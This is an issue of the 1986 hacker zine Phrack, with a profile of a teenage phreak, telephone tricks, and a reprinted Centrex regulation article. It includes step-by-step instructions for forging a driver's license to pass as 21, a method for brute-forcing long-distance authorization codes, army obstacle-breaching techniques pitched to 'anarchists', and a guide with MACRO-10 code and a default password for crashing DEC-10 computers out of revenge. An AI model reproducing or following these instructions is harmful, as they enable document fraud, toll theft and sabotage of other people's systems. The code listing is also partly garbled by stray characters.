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==Phrack Inc.==
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Volume One, Issue Four, Phile #1 of 11
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==Phrack Pro-Phile I==
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Written and Created by Taran King
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3/13/86
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Welcome to Phrack Pro-Phile I. I started thinking about it and
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personally had always been interested in people's backgrounds, especially those
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who are around a lot, have been around for a long time, or are sysops. This
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new feature of Phrack Inc. will present info about various members of the
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phreak/hack community ranging from personal to public. This month's
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interviewee....
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Crimson Death
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~~~~~~~ ~~~~~
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Crimson Death is the sysop of Hell Phrozen Over, a private phreak/hack
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bulletin board in Philadelphia, PA. (215).
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Personal
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Handle: Crimson Death
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Call him: Robb
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Past handles: The Sorcerer (before he was a phreak, a pirate handle)
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Handle origin: AD&D Monster Manual II
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Date of Birth: February 17,
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Age at current date: 16 years old
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Height: 5'3"
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Weight: 110 lbs
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Eye color: Brown outlined with green
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Hair Color: Dark brown
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Computer: Apple //e with 10 meg hard drive
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Sysop/Co-Sysop of: Hell Phrozen Over, Missing Link, Skull Kingdom
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Crimson Death started out in the BBS world in 1984 with a public
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board, Spirit World, which was run on an Apple //e, 2 floppies, GBBS, and 300
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baud. He had originally gotten his Apple computer in January of 1984. Then,
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on one memorable day, The Videosmith logged onto his board and they became
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friends. In February of 1985, he started phreaking. When his 10 meg Sider
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came, he started Hell Phrozen Over as a private bulletin board system. Death
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called a few memorable boards, including the Army BBS, Shadowland, The Missing
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Link, The Labyrinth, as well as his own. His phreak teacher was The
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Videosmith.
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Robb goes to a public school and has skipped a grade, so he is
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currently one grade ahead of his time. His phreaking is unknown at school
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except to a few. He considers himself pretty well versed in programming, and
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from the way his board runs, I would agree. CD's girlfriend is The Silver Fox,
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(note the word "Fox") that he met on Datanet, and popular opinion says she is
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REALLY decent looking.
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Crimson Death does no hacking right now, but in the future when he
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gets a bit of free time, he plans on learning about it. Mentioned earlier was
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his involvement in Phreak Klass 2600. Red Devil has taken it down, and they
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are looking for a replacement board, Phreak Klass II. Death has met various
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phreaks, old and new, and those of who really stuck out in his mind were: The
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Videosmith, Mark Tabas, TUC, Telenet Bob, The Sprinter, and Dr. Who. He listed
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others too, but he felt that these were the "mentionables". Just thought I'd
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let a few out there know. Hell Phrozen Over is co-sysoped by Silicon Swindler,
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and the Phreak Adviser is The Videosmith, a 300/1200 baud, 10 meg system. He
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was, in the past, in PhD, which stands for Phreak/Hack Destroyers. This
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eventually evolved into Camorra. PhD was run by The Executioner (301), members
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included Red Devil, Silver Sabre, and Scorpion among others.
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He is quite a comedian also, he wishes for all of you to have his last
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name, address, and credit card number (heh heh). The following are excerpts
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from his Death Plan File, Inc. project. I hope you find this phile
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interesting.
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Interests: Krista, Computers (programming my BBS), telecommunications
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(modeming, phreaking), reading books (Sci-Fi/Fantasy) and
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magazines (movie mags, Psychology Today, Omni), movies
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(circa 1930's to present), writing (short stories, raps,
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poems for my girlfriend), music (listening (rap, rock,
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jazz, some pop, classical, an occasional love song), playing
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guitar and keyboard), origins/beliefs of religions (although
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I am not religious at all), mysteries of the Universe, RPG's
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(rare these days), the arts (painting/drawing/sketching,
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music (as mentioned), art museums), trivia, parapsychology,
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comedy.
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Crimson Death's Favorite Things
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Women: Krista Denise (I won't say last names)
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Cars: Black Lamborghini's and 1935 Dusenbergs.
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Foods: Italian food, Chinese, Chocolates, peaches (when perfectly ripe).
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Music: Doug E. Fresh, Run-D.M.C., The Fat Boys, Kurtis Blow, UTFO, LL
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Cool J, RUSH, The Who, Led Zeppelin, Billy Ocean, Newcleus,
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The Rolling Stones, John Williams (w/ The London Symphony),
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Authors: Piers Anthony, Stephen King, David Eddings, Arthur C. Clarke,
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Robert Aspirin, Kahlil Gibrahn, L. Frank Baum.
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Books: The Tarot Trilogy, The Xanth Series, The Belgariad, Elfquest,
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The Myth Conceptions Series, 2001, 2010.
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Performers: Bob Hope, Jerry Lewis, Abott & Costello, John Garfield,
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Stacey Keech, Sean Penn, Eddie Murphy, Sir Lawrence Olivier,
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Marlon Brando, Gina Davis, David Letterman, Jayne Mansfield,
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Marilyn Monroe, Scatman Crothers, Pee Wee Herman.
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Most Memorable Experiences
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My father dying
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Falling in love
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Meeting Krista for the first time
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Getting Leukemia
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Vomiting in a Hawaiian Punch bottle
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Tabas with one leg over the balcony at The Palace
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Being chased by a 6' 8" homo at P-Con IV
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Some People to Mention
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Schoolgirl (the nicest person on Datanet [Hugs!])
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The Heretic (Bizarre, but cool..)
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The Warlock Lord (although we occasionally have our differences)
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Dire Wraith (Hm. Not much to say)
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Tuc (One of the coolest)
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Capt. Zap (a pretty nice guy)
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Bit Man (just learn to not talk so much!)
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Blue Buccaneer (for all he has done (u/l, posts, etc), and being a cool guy)
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Maxwell Smart & The Baron (just cool people..)
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People Crimson Death would like to say a few things to
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Krista (the person I hold dearest to my heart, who I love and cherish even
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more-so than I do myself; and for being herself)
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Silicon Swindler (For being my best friend for the past few years. I would
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like to thank him for sticking with me through A LOT
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of bad times)
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The Videosmith (for introducing me the mystic world of phreaking, being my
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mentor in this "mystic world", but most of all being a
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friend)
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The Executioner (who can be an egotistical asshole at times, but showed
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me he really does care at Phreak Con, when a 6' 8"
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ogre wanted my ass)
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Red Devil (who has put up with all of my cut-ups and not kicked the
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shit out of me, even though he could. Sorry about that)
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The People at Data-Tek (who put up Datanet in which without it, I would
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have never met Krista)
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Everyone Else who I didn't mention (for the one's who I know care; and
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the people who put up with my faults)
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*TOTAL LOSERS*: The Sting (Otto) (414), Black Majik, Bloody Sabath.
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The above three people have busted on me for having had an illness. In May, of
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1983 I was struck with Leukemia, cancer of the blood. Luckily, I was cured
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of this disease, and now lead a normal life. Yes, I was bald at one period of
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time, but I am not now. Even so, that is nothing to bust on. I don't care
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who it is, and what they have done to you, because busting on an illness is
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is pure idiocy. No one understands...until they or someone they love is
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struck.
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I hope you enjoyed this phile, look forward to more Phrack Pro-Philes coming in
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the near future. Oh, and one last thing, I'm taking a poll from all
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interviewees.
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Of the general population of phreaks you have met, would you consider most
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phreaks, if any, to be computer geeks? Crimson Death says "No". Thanks for
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your time Robb.
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TARAN KING
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SYSOP OF METAL SHOP PRIVATE
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==Phrack Inc.==
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Volume One, Issue Four, Phile #2 of 11
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Ringback Codes for the 314 NPA
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(Incomplete)
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Dial the code from below instead of your exchange, plus the last 4 #'s of your
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phone. Flash switch hook and wait for tone, then hang up.
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Prefix CODE Prefix Code
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432 575 867 552
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521 557 868 573
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522 452 869 574
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524 557 872 571
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567 574 921 972
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569 978 991 552
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694 972 993 952
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831 552 994 573
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837 557 997 977
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838 573 227 852
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839 952 527 877
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Data Line. 12-85.
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Volume One, Issue Four, Phile #3 of 11
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False Identification
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By
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Forest Ranger
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The objective of this file is to teach one to change his or her current
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drivers license to make one 21, without taking apart the drivers license
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itself. This will be taught to you in a quick, inexpensive, easy to understand
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process. The materials used are laminated sheets (easily obtainable from a
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school supply store for around a dollar to two dollars for a number of sheets),
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pair of good scissors, and a copy machine.
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The first step in the process calls for the copy machine (a copy machine at
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the supermarket works good). Make two copies of your drivers license. Take one
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copy and search for a digit on one of the copies that will change the current
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year on your license to one that will change your age (21). Once you have found
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the digit on one copy cut it out so just the digit is there (a square segment
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with a little trim around the edges is a good cut). Then take the other copy
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and cut out the current last digit of the year you were born in basically the
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same shape as the last. Put the cut out digit under the copy that you had cut
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out your current digit of the year you were born. Now having a little trim
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around the cut out digit from the first copy will assist you when lining it up
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under the second copy when you put it in the copy machine. Now that you have
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the new digit from the first copy sitting underneath but showing on the second
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copy place it in the copy machine and make a copy so that you will have an
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original of the new base part of the license.
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Now since most copy machines are black and white you will have to cut away
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the states license on the top of the license (e.g. Illinois License). Now place
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the new base of the license with the cut away license name over the old base of
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the current license. The new base might not match up like it should but line it
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up as a good as possible. Now place a piece of the laminated sheet cut out to
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configure the license on top of the new base. Cut away any overlaps of
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laminated paper and iron over the license with Mom's good old iron.
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Notes: This process has been proved to work. If you are the type of person
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that looks very young then do not bother to make an ID. You will just get
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caught and get into a lot of trouble. Also, be very careful at well known bars
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and over 21 hang out spots. The employees at these places tend to flash a flash
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light underneath the card to see if it is transparent. It is supposed to be.
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With this process it is a little hard to see through the ID so be careful with
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it if you do go to a place such as this. If you are pulled over by the police
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then take a corner of the license and rip. It will not affect your original
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license though it maybe a little sticky but, that should not be to big of a
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problem. If any bubbling occurs just iron over it and l
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==Phrack Inc.==
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Volume One, Issue Four, Phile #4 of 11
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Profile of MAX long distance service
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Written by Phantom Phreaker
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Presented by The Alliance 618-667-3825
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MAX is a long distance service that is part of Lexitel. Lexitel is soon going
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to merge with Allnet. MAX is also going to be a Carrier when our area gets
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Equal Access, along with GTE Sprint, SBS, US Telecom, ITT, AT&T, and a few
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others.
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The MAX dialup local to me is not in a CCIS area.
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First off, you will get the dull tone of the extender when you call.
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If you don't input any touch tones for 15 seconds (approx.) MAX will go to a
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recording telling you 'We have received insufficient digits to process your
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call. Please call customer service.'. I believe that MAX dialups all use the
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same recordings.
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Input a 6 digit code, followed by Area Code,Prefix and Suffix of the number
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you're trying to reach, plus a four digit accounting code which can be any four
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digits. If you have an invalid code, a clear ringing will be heard right after
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you input the last digit of the Suffix, and will go to a recording 'You have
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dialed an invalid authorization code. Please call customer service.'
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If you have a good code you won't hear this ringing after the suffix and will
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be allowed to enter the four digit accounting code. If you make an error in
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typing in your code, you can hit either the # or * keys on your phone to return
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to the initial tone. You can only abort back to the start while you are
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entering digits, not after you hear the ring going to recording.
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2600 Hertz can be used to kick back the extender, thus after getting a bad
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code, send 2600hz, and you'll be back at the initial tone, (similar to Sprint)
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and can try more codes. After getting a code on a MAX service don't let the
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call go through. If you don't hear the ringing going to recording then hang up
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and save that code for later use.
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Some notes on MAX:
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If you wait at the initial tone more than 15 seconds, it will go directly to a
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recording 'We have received insufficient digits to process your call. Please
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call customer service.'.
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MAX cannot be used to Blue box unless the dialup you have doesn't return to
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the initial tone after sending 2600 Hertz.
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MAX cannot be used to reach certain exchanges such as 976 numbers, 800 INWATS
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numbers, and Dial-it 900 numbers. Also certain exchanges belonging to the telco
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cannot be reached through MAX.
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International dialing is not possible through MAX as far as I know at this
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time.
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To identify a MAX dialup, enter 6 digit authorization code+700+555+XXX+XXXX.
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You will then get a recording 'Welcome to the MAX long distance Network.'
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All recordings on MAX begin with 'All XX dot YY'. In my area the first XX is
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always 13. The second YY is a number assigned to the error you have made.
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01='All XX dot 01. You have dialed an invalid authorization code. Please call
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Customer service.'
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02=Unknown at this time
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03='All XX dot 03. We have received insufficient digits to process your call.
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Please try again or call Customer service.'
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04='All XX dot 04. Your call cannot be completed as dialed. Please check the
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number and dial again.'
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05=Unknown
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06=Unknown
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07=Unknown
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08=Unknown
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09='All XX dot 09. I'm sorry, we are unable to complete your International
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call. Please try again or consult your local phone book for dialing
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instructions.'
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10='All XX dot 10. Welcome to the MAX long distance network. Thank you for
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using MAX.'
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After dialing a number that cannot be reached through MAX you will hear a dull
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tone for approx. one second then the ring to 'All XX dot 04' recording.
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Note each recording will be played twice, then you will get a re-order.
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Autovon tones A,B,C and D entered at the initial tone will automatically go to
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recording 03.
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No MF tones break the initial tone, except for 6.
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The information in this file cannot be guaranteed 100% accurate. MAX dialups
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may operate differently in different areas.
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-End of file-
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02/21/86
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==Phrack Inc.==
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Volume One, Issue Four, Phile #5 of 11
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|Breaching and Clearing Obstacles|
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Taken from
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The Infantry Platoon and Squad FM 7-8
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(Infantry, Airborne, Air Assault, Ranger)
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Army Issue
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By
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Taran King
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Sysop of Metal Shop Private
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Special thanks in obtaining the manual goes out to Dragon Master
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For those of you into the war-aspects of having phun, this is a little
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phile to tell you about the breaching and clearing of obstacles. The
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techniques can be used by the anarchist to provide havoc in the city or by the
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mercenary to help him out in any battle/battle games-type situation.
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ABATIS
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An abatis is an obstacle created by cutting down trees so their tops
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are criss-crossed and pointing toward the expected enemy direction. It is most
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effective for stopping vehicles in a forest (or along a tree-lined street).
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The trees are left attached to the stumps as high as possible to make removal
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more difficult. This obstacle may be reinforced with mines and boobytraps.
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Ex:
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||\\ / \ //|| <--fallen tree still attached
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/ ^ \
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leaves and branches block the roadway
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To clear an abatis:
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1> Suppress the enemy covering the obstacle.
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2> Secure whole area of all enemy elements.
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3> Reduce the obstacle. Mines and boobytraps must be found and can be
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disarmed by pulling their tripwires with grappling hooks and long ropes.
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Use pioneer tools or explosives to cut the trees from their stumps and then
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pull the logs out of the road with a strong car/truck.
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LOG CRIBS
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A log crib is an obstacle constructed of logs, earth, and rocks. The
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logs are used to make triangular cribs which are filled with earth and rock.
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These are used to block narrow roads and defiles.
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Ex:
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\\earth// <--logs form a triangle, kind of
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/ \\rox// like a sandbox, and is filled
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/ \\ // \ with earth and rocks.
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/ \|/ \
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/ \
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To clear a log crib:
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1> Suppress the enemy covering the obstacle
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2> Secure whole area of enemy elements.
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3> Reduce the obstacle. Use direct fire weapons, explosives, pioneer tools
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and vehicles to reduce the obstacle.
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CRATERS AND TANK DITCHES
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Craters and tank ditches are holes in the road or terrain that are put
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there to stop the passing of vehicles, and are blown in there by explosives.
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Sometimes, in tank ditches, barbed wire, mines and chemicals are placed in to
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make the tank crews have a harder time. These are cleared otherwise, though,
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by bulldozing dirt into them by pushing in the sides of the holes. Explosives
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may also be used to blow down the sides.
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WIRE
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Wire is used to separate infantry from armor and as roadblocks against
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wheeled vehicles.
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To clear wire obstacles:
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1> Suppress the enemy covering the obstacle.
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2> Secure whole area of enemy elements.
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3> Clear a lane through the wire. Use wire cutters, or explosives to remove
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the wire (or a bangalore torpedo if you have one [riiiight...]). Watch for
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mines and boobytraps and mark them with engineer tape, cloth, or anything
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recognizable.
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4> Destroy the marked mines with explosives or grappling hooks.
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5> Mark cleared lane.
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...And for those really involved...
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MINEFIELDS
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To maintain the momentum of an attack, the group must be prepared to
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breach minefields.
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1> Suppress the enemy covering the obstacle.
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2> Secure whole area of enemy elements.
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3> Clear a footpath/lane and mark the mines that are found. The preferred way
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to clear a lane through a minefield is to use a rocket-propelled line
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charge or a bangalore torpedo (Army style). However, the only way to clear
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a minefield without special equipment is to probe with pointed sticks.
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Bayonets should not be used because they can detonate AP mines and other
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type magnetic mines. One squad probes while the platoon overwatches.
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The squad probing the footpath/lane through the minefield uses two probers:
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one in front, clearing a lane wide enough to crawl through; and a second
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one clearing 10 meters behind the first prober and slightly to one side so
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that their lanes overlap. The probers should not carry their weapons,
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field packs, load-carrying equipment, helmets, etc. Their equipment is
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carried by other squad members. Two other men crawl along behind to secure
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the probers, to carry additional supplies, or to take a prober's job if one
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becomes a casualty (how pleasant...). The probers should be rotated often
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to keep them from getting tired and careless. The remaining squad members
|
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overwatch the probers.
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The probers mark mine locations with sticks, engineer tape, cloth, or
|
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toilet tissue. They do not try to remove mines.
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4> Secure the far side. As soon as the squad has cleared a footpath/lane, it
|
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moves through the lane and secures the far side of the minefield.
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5> Destroy the marked mines with explosives.
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6> Mark cleared lane.
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7> Move the group through the obstacle.
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This phile is more written for the anarchist than the military
|
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gamesman out there, since there is a large lack of them, so please, feel free
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to use these techniques in having a little phun rather than ragging on me about
|
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how you never play war-games.
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TARAN KING
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Sysop of Metal Shop Private
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==Phrack Inc.==
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Volume One, Issue Four, Phile #6 of 11
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Crashing DEC-10's
|
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by The Mentor
|
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3-13-86
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Occasionally there will be a time when destruction is necessary.
|
|
Whether it is revenge against a tyrannical system operator or against
|
|
a particular company, sometimes it is desirable to strike at the heart of a
|
|
company...their computer.
|
|
What follows is a fairly detailed explanation of how to go about
|
|
crashing a DEC-10 computer running any operating system. The user will have
|
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to be able to create and execute assembly level and high level language
|
|
files, as well as having a good working knowledge of programming.
|
|
The first step is to obtain an account. Whether this be a default
|
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account like 5,30 (pw: GAMES) or an account that you hacked by some other
|
|
method, you have to be able to access the system. Superuser access is not
|
|
necessary, however, for this method to work.
|
|
At the heart of every mainframe computer is the central processing
|
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unit. The CPU handles all instructions, fetching them from memory, decoding
|
|
them, and executing them. A DEC has what is called a DMA (Direct Memory
|
|
Access) Controller that functions as a small CPU handling all the input and
|
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output from memory and peripherals, freeing the main CPU to execute instruc-
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tions. We take advantage of this fact in crashing the system.
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Theory: The CPU depends on the DMA Controller to handle all memory
|
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access. If the DMA can be crashed, the CPU grinds to a halt and the sysop
|
|
has to run DSK:RAT to restore all the files on the system (a one hour process,
|
|
deadly at peak operating time.) We cause the DMA to crash by slowing it down
|
|
incredibly and overflowing the system stack.
|
|
Practice-
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There exists an area known as 'Job Data Area' at octal 20 through 140
|
|
of the user's memory. This stores all relevant information about the current
|
|
task executing. The individual locations each have a 6-bit mnemonic starting
|
|
with .JB in each case. These must be introduced into a symbol table as ext-
|
|
ernal references.
|
|
The highest core address available to the user is stored at .JBREL
|
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in the Job Data Area. If you try to access more core than you are allowed,
|
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you will get an interrupt and it will crash. The first step is to disable
|
|
the interrupt. This is done by setting bit 22 in the AC to 1. This is done
|
|
with a mask as follows...
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APRENB AC
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MOVEI AC,20000 (octal)
|
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The interrupt is now shut out. Next, you must start snatching up all
|
|
available system core. This cannot be done by directly meddling with .JBREL.
|
|
Instead, you must alter AC (accumulator) to contain the highest desired
|
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address and then move it into .JBREL. This can be done with the following
|
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subroutine.
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CORE AC,
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TOP: MOVE AC,.JBREL##
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AOJA AC,.+1
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CORE AC,
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BRA TOP
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At first, incrementing only by one looks like a slow way to grab core,
|
|
but since it is only allocated in chunks of either 1K or 2K words, you can
|
|
quickly suck up a lot of memory. (Following this file is a complete sample
|
|
program in MACRO-10 showing how to increase the core to a certain limit.)
|
|
Now that we have all the core we can get, the system is already more
|
|
than likely slowing down. This is good. Now we put in the fatal blow.
|
|
You should already have prepared a program that relies heavily on recursion.
|
|
The choice languages for this are either C or Pascal. Simply set up a simple
|
|
recursive program (Towers of Hanoi with 100 rings, for instance), and tell it
|
|
to execute.
|
|
What will begin to happen is that the DMA stack will start filling up,
|
|
slowing the system down even further. Eventually, after between 5 minutes and
|
|
15 minutes (longest it's ever taken me), you get the nice beep and...
|
|
;;OPSER- DEC SYSTEM-10 NOT RUNNING
|
|
I've only had to do this on three systems that the sysop really
|
|
pissed me off (not counting the system where I go to school, on which I do
|
|
it all the time when I'm bored...) It's kind of an extreme measure, but
|
|
it can be an effective one.
|
|
The following program is a sample for those not familiar with MACRO-10
|
|
assembly language.
|
|
32
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START: TITLE SAMPLE
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MOVE P,[IOWD 3,MEM]
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MOVE [PUSHJ P,PDLOV]
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MOVEM .JBAPR##
|
|
MOVEI AC,600000
|
|
APRENB AC,
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|
SETZB CT
|
|
MOVEM AC
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AOS
|
|
PUSHJ P,S1
|
|
JRST .-3
|
|
S1: IDIVI AC,10
|
|
HRLM N,(P)
|
|
JUMPE AC,.+3
|
|
PUSHJ P,S1
|
|
SKIPA
|
|
PUSHJ P,S2
|
|
HLRZ N,(P)
|
|
ADDI N,60
|
|
OUTCHR N
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|
POPJ P,
|
|
S2: SOJG CT,.+4
|
|
OUTCHR [15]
|
|
OUTCHR [12]
|
|
MOVEI CT,10
|
|
MOVE T,P
|
|
OUTCHR [40]
|
|
AOBJN T,.-1
|
|
POPJ P,
|
|
PDLOV: PUSHJ P,LIMIT
|
|
SUB P,[1,,0]
|
|
JRSTF @.JBTPC##
|
|
LIMIT: CAIL 1000 ;CHANGE TO WHATEVER YOU WANT!
|
|
EXIT
|
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POPJ P,
|
|
MEM: BLOCK 10
|
|
END START
|
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|
|
==Phrack Inc.==
|
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|
|
Volume One, Issue Four, Phile #7 of 11
|
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|
|
Centrex Renaissance
|
|
"The Regulations"
|
|
By Leslie Albin * (See Note)
|
|
|
|
From: On Communications
|
|
(October 1985, Vol. 2,No. 10)
|
|
|
|
By Jester Sluggo
|
|
|
|
|
|
Regulatory changes across the country have made new bargain
|
|
available to telecommunications users. Centrex -- the homely old
|
|
central office service AT&T planned to bury only a couple of
|
|
years ago -- has been regroomed, revitalized and often
|
|
rebaptized.
|
|
As Centrex, Centron, Caroline or Essx -- the various
|
|
regional trade names of Centrex service -- it is cheaper and more
|
|
powerful than ever in mosy parts of the country.
|
|
The bargain will only get better in regions where the Bell
|
|
operating companies (BOC) have seized on Centrex not only as a
|
|
logical step in their progression toward an integrated services
|
|
digital network, but also as a key to the lucrative
|
|
telecommunications aftermarket -- as long as those regulatory
|
|
changes do not shift.
|
|
The Centrex service the regional BOC's were left with after
|
|
divestiture was deliberately undernourished, as part of AT&T's
|
|
migration strategy to bolster sales of Western Electric private
|
|
branch exchanges. Centrex was lacking in technology and
|
|
marketing innovation, and users were abandoning it.
|
|
But, in a little more than a year and a half, the RBOC's
|
|
(Regional Bell Operating Companies) have managed to win over
|
|
state regulators to the idea of a thriving Centrex, gaining their
|
|
approval of trunk equivalency rates, innovative tariffs, rate
|
|
stabilization plans, actual detariffing and -- in one case --
|
|
complete deregulation.
|
|
At the federal level, challenges to this revitalization have
|
|
been rebuffed or have stalled before the FCC, and the RBOCs are
|
|
pitching for greater leeway in providing the customer premises
|
|
equipment to go with their Centrex service.
|
|
"The regulators have been bending over backward to give
|
|
Centrex every competitive advantage," said Albert Angel, a lawyer
|
|
with the Washing D.C. firm of Wood, Lucksinger & Epstein, which
|
|
represents the North American Telecommunications Association
|
|
(NATA).
|
|
"Ultimately, there will be a clear finding that the
|
|
preferential treatment of Centrex is not justified," added Angel,
|
|
and should that happen, Centrex customers -- even those with
|
|
price stability packages -- could find themselves committed to a
|
|
service beset by escalating rates.
|
|
Most of the federal issues involving Centrex regulation
|
|
developed as a response to actions taken in the states. For
|
|
instance, NATA has sternly objected to "trunk equivalency" rates
|
|
authorized by a number of state commissions.
|
|
The concept evolved when the FCC imposed its $6 monthly
|
|
customer access line charge on new Centrex lines along with
|
|
regular business lines. Because Centrex uses lines much less
|
|
efficiently than a PBX does, "the net impact is very different on
|
|
a Centrex subscriber than it is on a PBX subscriber," said Greg
|
|
Laken, division manager of Centrex and central office services
|
|
for Bell Atlantic Corp. Centrex requires one twisted pair for
|
|
each station, whereas a PBX requires one trunk for six or seven
|
|
stations.
|
|
Trying to keep Centrex viable with a built-in customer
|
|
access line charge burden six to seven times greater than that
|
|
incurred by a comparable PBX would have been a tough proposition.
|
|
Bell Atlantic's BOCs, like virtually every other BOC in the
|
|
country, won permission from state regulators to offset the
|
|
higher line charges for Centrex so that customers would pay at
|
|
the same level as owners of similarly sized PBXs.
|
|
To NATA, this amounts to nothing more than "taxing all
|
|
other customers for the benefit of Centrex customers," NATA
|
|
attorney Angel said. But the FCC decided in summer 1985 that the
|
|
trunk equivalency rates do not undermine its access charge
|
|
policy. and the lower rates for Centrex users remain in effect.
|
|
Beyond whittling down customer access line charges, a number
|
|
of BOCs have had fresh Centrex tariffs approved by state
|
|
commissions that chop the service's rates and offer innovative
|
|
pricing schemes. Bell Atlantic's BOCs, for instance, have won
|
|
approval for tariffs cutting Centrex rates 30% to 35%. "The net
|
|
effect," said Lakin, "is that it is a very price-competitive
|
|
entry."
|
|
To NATA, the service's price competitiveness arises from
|
|
the BOCs' continuing monopoly position in the local market,
|
|
although BOC officials state firmly that Centrex is not priced
|
|
below cost and, in fact, generates revenue to subsidize other
|
|
services.
|
|
According to Angel, a Washington, D.C. residential customer
|
|
pays a cost-justified rate of between $15 and $17 for the local
|
|
loop and central office switching capability. A Centrex customer
|
|
using an identical local loop connected to the same central
|
|
office pays only $12. Many of the new tariffs being filed by the
|
|
BOCs recognize two of Centrex's traditional headaches:
|
|
instability and distance sensitivity.
|
|
Now many of the new tariffs offer users price guarantees and
|
|
incentives for signing the long-term contracts that give
|
|
telephone companies some stability in their Centrex base.
|
|
By locking in rates and either capping the associated costs
|
|
or typing their increase to the Department of Labor's cost-of-
|
|
living index, BOCs have been able to offer customers much of the
|
|
same predictability that a PBX does. Most tariffs give customers
|
|
the choice of three-, five- or seven-year contracts, the
|
|
incentives rising with the length of the agreement.
|
|
Centrex customers in the Chicago Loop area, for instance,
|
|
were paying a $12.52 per-line monthly charge if their system used
|
|
250 lines. Under a tariff approved last fall, however, those
|
|
customers saw the monthly charge drop to $10.94 and could drive
|
|
it down even further by signaling long-term contracts: $10.09
|
|
per-line under a three-year agreement, $9.84 under a five-year
|
|
agreement and $9.54 under a seven-year agreement.
|
|
"Slightly less than half of our 400,000-line total base has
|
|
gone on contract," said Lee Armagost, Illinois Bell's division
|
|
manager for tariffs and costs. And the concepts success is
|
|
continuing."
|
|
For all of the BOCs' success in winning lower Centrex rates,
|
|
some companies have fared even better -- they have convinced
|
|
state regulators to detariff Centrex service for new customers
|
|
and, in one case, to deregulate it entirely.
|
|
Northwestern Bell seems to be the current detariffing and
|
|
deregulating champion among the BOCs, having won approval for
|
|
detariffed Centron service in all of its states except Iowa.
|
|
Iowa simply deregulated it.
|
|
While detariffing allows the BOCs more freedom to negotiate
|
|
with large Centron customers, deregulating takes Centron
|
|
assets, expenses and revenues right out of the rate base and
|
|
removes the service from the regulators purview.
|
|
According to Tom Smith, vice-president and chief executive
|
|
officer of Northwestern Bell Iowa, the company's first move
|
|
toward deregulation occurred in 1983, when the Iowa State
|
|
Legislature passed a Bell-inspired bill that called for
|
|
competitive services to be deregulated. The following year,
|
|
Northwestern Bell succeeded in getting in getting more
|
|
legislation passed that declared Centron ready for detariffing
|
|
because of its competitive nature.
|
|
After reviewing the legislature's actions, the State
|
|
Commerce Commission decided that if the lawmakers were convinced
|
|
Centrex was competitive and services were to be deregulated, it
|
|
would skip over the detariffing of Centrex and simply deregulate
|
|
it, Smith said.
|
|
What followed was what Smith called "nine months of
|
|
intensive work," as regulators, company officials and consultants
|
|
from Anderson & Co. sorted out the procedures for carving Centrex
|
|
away from the rate base and set up safeguards against cross-
|
|
subsidies.
|
|
"A central office is not something that has this little
|
|
compartment that says 'for service A' and that little compartment
|
|
that says 'for service B'" Smith said of the accounting problem.
|
|
NATA agrees with that description and, according to NATA
|
|
attorney Angel, argues that because competitive Centrex services
|
|
must operate commingled with regulated facilities, the FCC should
|
|
halt the detariffing and deregulating of the service or order it
|
|
to be sequestered in a separate subsidiary with other competitive
|
|
products.
|
|
But the FCC has not acted on NATA's complaint. Meanwhile,
|
|
the first customer has signed up for Iowa's deregulated Centron
|
|
-- the state of Iowa itself.
|
|
The state had solicited bids to replace its Capitol Hill
|
|
complex's Centrex service in Des Moines when deregulated Centron
|
|
became available. The new rates negotiated by Northwestern Bell
|
|
and the state's staff produced a savings of about $1 million for
|
|
the state over the three-year life of the contract, according to
|
|
Glen Anderson Jr., director of state communications for Iowa.
|
|
While Anderson called the deregulated Centron service prices
|
|
"a dramatic savings," he also pointed out another incentive for
|
|
signing up.
|
|
"The other factor was political," he said. "We did not have
|
|
an appropriation to proceed with the procurement of a switch."
|
|
When the Centron agreement runs out, the state will be in
|
|
the market for a PBX again. A member of Anderson's staff said
|
|
the staff remains convinced it can enhance its own program with
|
|
its own switch.
|
|
At some BOCs, the once feature-poor Centrex has caught up
|
|
with PBXs in many respects. Where telephone companies are
|
|
pushing digital capabilities onto their networks, they are also
|
|
pushing digital capabilities onto Centrex. Pacific Bell, for
|
|
instance, can offer fully digital Centrex service from many of
|
|
its metropolitan central offices.
|
|
A number of BOCs concur with Bell Atlantic's position that
|
|
digital Centrex is a natural rung on the ladder to an ISDN --
|
|
among them Pacific Bell and New York Telephone Co. Many are
|
|
upgrading Centrex service with PBX-like features short of fully
|
|
digital service, including several versions call forwarding, call
|
|
waiting and speed dialing. Given the current strictures in the
|
|
FCC's Second Computer Inquiry and the Modified Final Judgement,
|
|
the expanded features list was bound to be called into question.
|
|
NATA, which has been leading the charge against the changes
|
|
in Centrex service, is fighting its battle on four fronts at the
|
|
FCC:
|
|
1) Last fall, it asked the FCC either to halt the
|
|
detariffing and deregulation of Centrex by the states or order a
|
|
separation of commingled facilities. The FCC has not acted on
|
|
the complaint.
|
|
2) Soon after filing that complaint, NATA filed another --
|
|
this one questioning the provision of competitive, enhanced
|
|
features by a regulated, basic telephone company. The FCC acted
|
|
on that complaint last summer, deciding that features such as
|
|
speed dialing, call forwarding and customer station changes are
|
|
adjuncts to basic service and can be offered by a regulated
|
|
telephone company under Computer II. Only customer-dialed
|
|
account recording was found to be and enhanced service, but the
|
|
BOCs can request waivers to continue offering it.
|
|
Until the waiver requests are considered, the FCC has
|
|
granted immediate, temporary waivers so the BOCs can continue
|
|
providing customer-dialed account recording to existing customers
|
|
-- including the U.S. Army. Meanwhile, the BOCs and NATA are
|
|
seeking reconsideration of the FCC's decision in petitions the
|
|
FCC will address this month or next, according to the FCC staff
|
|
member handling the issue.
|
|
3) Late last year, NATA asked the FCC to to stop Ameritech
|
|
and Nynex Corp. equipment subsidiaries from selling basic phone
|
|
services, including Centrex, through their unregulated customer
|
|
premises equipment subsidiaries.
|
|
When the FCC agreed to permit the joint marketing, it did so
|
|
with the provision that non-Bell companies would also be signed
|
|
up as sales agents for the basic services. As evidence of the
|
|
problem, NATA pointed to the sparse number of non-Bell sales
|
|
agents being signed up and the revenue moving from the BOCs to
|
|
their sister customer premises equipment subsidiaries in the form
|
|
of sales commissions. The FCC has not acted on the complaint or
|
|
NATA's original petition seeking a reversal of the sales agent
|
|
decision.
|
|
Bell Atlantic, backed by the majority of RBOCs, is seeking
|
|
FCC permission for an inverted version of the sales agent
|
|
decision that would let Bell Atlantic serve as sales agent for
|
|
another vendor's customer premises equipment when submitting
|
|
Centrex bids.
|
|
4) In July 1985, NATA filed an even more sweeping
|
|
complaint, a Centrex pricing action that argues that the BOCs
|
|
are using their monopoly power to favor Centrex over other
|
|
customers and to the detriment of PBX suppliers.
|
|
The complaint bridges a number of issues, including trunk
|
|
equivalency rates, pricing below cost and Computer II concerns.
|
|
The BOCs argued that Centrex is a state concern and, although the
|
|
FCC has preempted state jurisdiction in other matters, the FCC
|
|
paused to consider the jurisdictional question -- a pause that
|
|
could last six months or extend "indefinitely," according to
|
|
lawyers working on the matter.
